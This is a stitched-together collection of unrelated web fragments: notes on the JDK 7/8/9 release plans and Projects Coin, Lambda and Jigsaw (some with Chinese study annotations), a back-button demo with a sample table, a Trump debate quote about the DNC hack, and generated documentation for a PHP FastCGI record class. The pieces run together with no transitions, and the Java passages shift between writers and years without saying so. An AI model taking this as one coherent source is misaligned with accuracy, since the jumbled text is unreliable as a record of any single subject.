Looking at what's in the forest today, however, much of that work is in fact already done, or very nearly so. The main outstanding items are the Lambda and Jigsaw Projects, along with a few of the Coin proposals. We've made a lot of progress on these features, and they now have more Oracle engineers working on them than before, but significant work remains to be done. 笔记：没有实现的主要功能是Lambda项目、Jigsaw项目和Coin项目的一部分。
Another possibility, therefore, is to take everything we have now, test and stabilize it, and ship that as JDK 7. We could then finish Lambda, Jigsaw, the rest of Coin, and maybe a few additional key features in a JDK 8 release which would ship fairly soon thereafter. 笔记：另一种可能的实现是，将现有的功能作为JDK 7进行发布，而Lambda、Jigsaw等功能留到JDK 8版本来实现。
This approach would give developers production-quality access to the nearly-finished features sooner rather than later, and with much less risk. It would also allow more time to really shake out Lambda and Jigsaw, which is critical given that these higher-risk efforts are making deep changes to the very foundations of the platform. 笔记：这种实现思路，从时间上来说更快，从风险上来说更低。
Our current estimate for this “Plan B” is that we could ship a reduced JDK 7 in mid-2011 and JDK 8 in the second half of 2012.
To summarize:
| Plan A: | JDK 7 (as currently defined) | Mid 2012 |
| Plan B: | JDK 7 (minus Lambda, Jigsaw, and part of Coin) | Mid 2011 |
| JDK 8 (Lambda, Jigsaw, the rest of Coin, ++) | Late 2012 |
Here at Oracle we're leaning heavily toward the lower-risk Plan B. The platform has been idle for (more than!) long enough—it's time to get Java moving again. If there are good reasons to prefer Plan A, however, then I'd like to hear them.
The goal of Project Coin is to determine what set of small language changes should be added to JDK 7. That list is:
The previously selected features of collections support and unsigned literals have been deferred and will be reconsidered in JDK 8.
Closures for Java: The Straw Man, 2009/12/10
As promised I've posted a straw-man proposal to extend Java with first-class functions, function types, and lambda expressions (informally, “closures”) to the newly-created Project Lambda page.
A straw-man proposal is a brainstormed simple draft proposal intended to generate discussion of its disadvantages and to provoke the generation of new and better proposals.
Often, a straw man document will be prepared by one or two people prior to kicking off a larger project. In this way, the team can jump start their discussions with a document that is likely to contain many, but not all, of the key aspects to be discussed. As the document is revised, it may be given other edition names such as the more solid-sounding "stone-man", "iron-man", and so on.
It's no surprise that JDK 9 has been pushed again, and for the same reason – Project Jigsaw. This project has a long history of pushing Java versions back, moving from Java 7 to Java 8 and ending up as part of Java 9, hopefully.
Jigsaw aims to make Java modular and break the JRE to interoperable components.
This mean that you'll be able to create a scaled down runtime Jar (rt.jar
) customised to the components a project actually needs.
The desire is to make Java scalable to small computing devices, improve security and performance,
and mainly make it easier for developers to construct and maintain libraries.
Considering the JDK 8 rt.jar
has about 20,000 classes that are part of the JDK, even if many of them aren't really being used in a specific environment – it's a pretty big deal.
Mark addressed the reason for the delay on his original email, explaining that:
“We recently received critical feedback that motivated a redesign of the module system's package-export feature, without which we'd have failed to achieve one of our main goals. There are, beyond that, still many open design issues, which will take time to work through.”
The current pushback tells us loud and clear that Jigsaw needs more time, and our only hope is that it'll actually be a part of JDK 9, and not be pushed back to JDK 10. Or JDK 11. There's no doubt it's a critical and important project, and the community is willing to wait a little longer for it to be just right.
Project Jigsaw: On the next train, 2012/09/21
I recently proposed to defer Project Jigsaw from Java 8 to Java 9.
Feedback on the proposal was about evenly divided as to whether Java 8 should be delayed for Jigsaw, Jigsaw should be deferred to Java 9, or some other, usually less-realistic, option should be taken.
The ultimate decision rested, of course, with the Java SE 8 (JSR 337) Expert Group. After due consideration, a strong majority of the EG agreed to my proposal.


Simple with plain html. Complicated with dynamic applications. Until now.
 It may have been a link, the back button, or a bookmark but your code shouldn't know or care. Try it by sorting the table below and then clicking your back button a few times.
| Student | Fruit | Age |
|---|---|---|
| Adam | Apple | 17 |
| Tim | Banana | 44 |
| John | Kiwi | 14 |
| Sally | Avacado | 32 |
| Jeff | Strawberry | 28 |


During the second presidential debate, Trump disclaims there was any DNC hack. He said, “I don't think anybody knows it was Russia that broke into the DNC. [Hillary Clinton is] saying Russia, Russia, Russia, but I don't -- maybe it was. I mean, it could be Russia, but it could also be China. It could also be lots of other people. It also could be somebody sitting on their bed that weighs 400 pounds, OK?”
Source: NBC News


The MiniFCGI record class.
The FastCGI/1.0 protocol is implemented through record objects created by this class. Although the protocol requires new records for each stage of the communication process, each with their own header and body, in practice it's easier to reuse existing record objects and change the necessary values at each step. The history of the whole request/response process can also be followed quite easily by tracking changes in the object's state.
Located in /lib/minihttpd/classes/minifcgi/record.php (line 20)
The record content/body.
Should debugging output be enabled?
Length in bytes of the record body.
Length in bytes of any record body padding.
The active request ID number.
The active FCGI process socket connection.
The FCGI protocol type.
The FCGI protocol version.
Encodes the length elements of the parameter name-value pairs.
The value is encoded as 1 or 4 bytes, depending on the size.
Encodes parameter name-value pairs for adding to FCGI record bodies.
PHP doesn't allow parameter pairs to be split between records, so the de facto maximum size for individual name-value pairs must be checked here before any record is sent.
Factory method for creating new FCGI records.
This method must be used by default, as the class can't be instantiated directly. One advantage is that the initialization can be handled cleanly, and the result is also chainable.
Ensures that the factory method must be used to instantiate the class.
Adds an encoded parameter name-value pair to the current record body.
If the maximum record size is exceeded, the method should be aborted and a new record started once the current one has been sent.
Binds a record value to a variable.
Returns the current record body.
Returns the parsed application and protocol codes from the last FCGI End Request record.
Determines whether the record is of the given type.
Decodes a received record and parses its header and body.
FCGI headers are always 8 bytes, so if there are fewer than 8 bytes in the response, then the method should be aborted and the stream pointer rewound until more data becomes available.
Sets the FCGI Begin Request record flags.
Sets the FCGI Begin Request record role.
Sets the current record type.
Sends FCGI stream records to the active FCGI process.
Data that is sent as a series of stream records (such as STDIN) needs to be chunked into sizes that don't exceed the maximum record length.
Encodes the current record header (and body if needed) and sends the record to the active FCGI process.
This could be optimized by sending header, body and padding separately, but the overhead for most requests seems minimal enough.
Documentation generated on Sun, 27 May 2012 08:58:54 +0100 by phpDocumentor 1.4.3